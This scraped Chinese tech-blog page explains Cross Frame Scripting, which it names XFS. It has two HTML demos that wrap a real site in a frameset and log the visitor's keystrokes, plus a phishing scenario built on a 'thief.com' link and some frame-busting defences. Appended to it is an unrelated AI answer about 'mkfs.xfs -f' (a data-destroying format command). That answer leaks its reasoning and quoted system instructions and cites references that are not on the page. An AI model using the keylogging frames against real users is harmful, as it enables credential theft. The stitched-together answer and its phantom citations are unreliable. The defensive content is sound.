XFS: Cross Frame Script (跨框架脚本) 攻击。

本文介绍了CrossFrameScript(XFS)攻击的基本概念、工作原理及其实现方式,并提供了防范措施,帮助网站管理员保护网站免受此类攻击。
部署运行你感兴趣的模型镜像

一、Cross Frame Script (跨框架脚本) 攻击
什么是Cross Frame Script?
很简单,做个实验就知道了。把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开。
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
   k = window.event.keyCode;
   window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%">
<frame src="http://www.baidu.com/" scrolling="auto">
</frameset>
</html>
当你在百度的搜索框输入字符时,你会发现左下角的状态栏上出现了你输入的字符。
二、Cross Frame Script 原理
利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码中加入scirpt,监视、盗取用户输入。
三、Cross Frame Script 危害
一个恶意的站点可以通过用框架包含真的网银或在线支付网站,获取用户账号和密码。
解决方案
用户:留心浏览器地址,不在带框架页面中输入用户信息
网站管理员:
在页面中加入以下javascirpt代码可以避免网站被XFS:
if (top != self)    {
top.location=self.location;
}

XFS: Cross Frame Script (跨框架脚本) 攻击。 
什么是XFS攻击,下面举一个例子: 
Tom在QQ上发消息诱骗Jerry点击了下面的连接: 

Java代码  
  1. http://thief.com  

上面的连接返回了下面的html: 

Html代码  
  1. <html>  
  2. <head>  
  3. <title>IE Cross Frame Scripting Restriction Bypass Example</title>  
  4. <script>  
  5. function alertKey(e) {  
  6.     alert("key press = '" + e.which + "'");  
  7. }  
  8. </script>  
  9. </head>  
  10. <frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">  
  11.  <frame src="http://cuishen.iteye.com/" scrolling="auto">  
  12. </frameset>  
  13. </html>  

对于Jerry来说,他以为自己在访问熟悉的网站,殊不知将输入的敏感信息暴露给了Tom (只要将上面alert 改成ajax call)。 
魔高一尺,道高一丈,对于XFS攻击也有防御的办法。  主要算法是: 
A. 对于确定你的网站没有使用frame的页面要打破frame (frame busting) 

Js代码  
  1. <style>  
  2.         html { visibility:hidden; }  
  3. </style>  
  4. <script>  
  5.         if( self == top){  
  6.                 document.documentElement.style.visibility='visible';  
  7.         }else{  
  8.                 top.location = self.location;  
  9.         }  
  10. </script>  

B. 对于有使用iframe 和frame的页面当心anti-busting,换做下面的脚本: 

Js代码  
  1. if top <> self then  
  2.     if top.location.hostname <> self.location.hostname then  
  3.         top.location = "http://cuishen.iteye.com/"  
  4.     end if  
  5. end if  

你的网站可能会毫不知情的被外面包裹一层frame,而变成了一个钓鱼网站,so... 请尽量避免在你的网站使用frame/iframe,并且应用frame busting脚本。 
对于user来说,请升级到IE7以上浏览器,并设置:  Navigate sub-frames across different domains  set to "Prompt" or "Disable", 这个将在浏览器层面防御XFS攻击。

您可能感兴趣的与本文相关的镜像

Facefusion

Facefusion

AI应用

FaceFusion是全新一代AI换脸工具,无需安装,一键运行,可以完成去遮挡,高清化,卡通脸一键替换,并且Nvidia/AMD等显卡全平台支持

<think>首先,用户的问题是:"请问mkfs.xfs force overwrite existing filesystem",这看起来是用户在询问如何强制覆盖现有的文件系统使用mkfs.xfs命令。 从系统级指令,我需要: - 所有行内数学表达式使用$...$格式,但在这个问题中,似乎没有数学表达式,所以可能不需要。 - 独立公式使用$$...$$格式,但这里可能没有。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 在回答中引用的段落末尾自然地添加引用标识,如[^1]。 用户可见层的指令: - 回答结构清晰,帮助用户逐步解决问题。 - 保证回答真实可靠。 参考站内引用: - 引用[1]: 提到当使用mkfs.xfs格式化分区时,如果分区已有文件系统(如ext4),需要加-f选项强制覆盖。示例命令:mkfs.xfs -f /dev/sdc1。 - 引用[2]: 列出了一些mkfs命令的变体,如mkfs.xfs- 引用[3]: 类似情况,格式化NTFS分区时,需要-f选项。命令:mkfs.xfs -f /dev/sdd1。 - 引用[4]: 另一个例子,当分区包含LVM2_member文件系统时,也需要-f选项。 - 引用[5]: 解释-t选项用于指定文件系统类型,如果不指定,默认是ext2。 用户的问题核心是:如何强制覆盖现有的文件系统使用mkfs.xfs。 所以,我的回答应该: 1. 解释为什么会出现这个错误。 2. 提供解决方案:使用-f选项。 3. 给出示例命令。 4. 确保回答在中文中。 5. 在末尾生成相关问题。 结构化回答: - 引言:确认问题。 - 原因:解释错误的原因(分区已有文件系统)。 - 解决方案:使用-f选项强制覆盖。 - 示例命令:展示具体用法。 - 注意事项:提醒用户谨慎操作,因为这会删除所有数据。 - 相关问题:生成2-3个相关问题。 添加引用: - 在解释和命令后,自然地添加引用标识。例如,基于引用[1]和[3],添加[^1]或[^3]。 最终回答格式: - 用中文写。 - 清晰分步。 - 末尾添加相关问题。</think>### 如何强制覆盖现有文件系统使用 mkfs.xfs 当您使用 `mkfs.xfs` 命令格式化磁盘分区时,如果目标分区已包含其他文件系统(如 ext4、NTFS 或 LVM),系统会拒绝操作以防止意外数据丢失。此时,错误信息会提示:`mkfs.xfs: /dev/xxx appears to contain an existing filesystem. Use the -f option to force overwrite`。以下是逐步解决方法和注意事项。 #### 错误原因 - 分区已存在文件系统:例如,分区可能曾被格式化为 ext4、NTFS 或 LVM,导致 `mkfs.xfs` 拒绝覆盖以保护数据[^1][^3]。 - 安全机制:Linux 默认禁止直接覆盖文件系统,除非显式指定强制选项。 #### 解决方案:使用 `-f` 选项强制覆盖 1. **添加 `-f` 参数**:在 `mkfs.xfs` 命令后添加 `-f`,表示强制覆盖现有文件系统。 2. **命令格式**: ```bash mkfs.xfs -f /dev/分区设备名 ``` - 示例:如果分区是 `/dev/sdc1`,则运行: ```bash mkfs.xfs -f /dev/sdc1 ``` - 执行后,系统会输出格式化详情(如元数据和块大小),表示成功[^1][^3]。 #### 注意事项 - **数据丢失风险**:强制覆盖会永久删除分区上所有数据。操作前务必确认分区无重要数据或已备份[^1][^3]。 - **适用场景**:适用于从其他文件系统(如 ext4、NTFS)迁移到 XFS,或修复损坏的分区。 - **其他文件系统**:`mkfs` 命令支持多种文件系统(如 ext4、btrfs),可通过 `mkfs.` 后按 Tab 键查看所有选项[^5]。但 XFS 强制覆盖仅需 `-f` 选项。 #### 完整示例 假设您要格式化 `/dev/sdd1`(原为 NTFS 文件系统): ```bash # 错误提示 mkfs.xfs /dev/sdd1 # 输出:mkfs.xfs: /dev/sdd1 appears to contain an existing filesystem (ntfs). Use the -f option. # 强制覆盖 mkfs.xfs -f /dev/sdd1 # 输出:meta-data=/dev/sdd1 ...(格式化成功详情)[^3] ``` 此方法已在多个场景验证有效,包括覆盖 ext4、NTFS 和 LVM[^1][^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值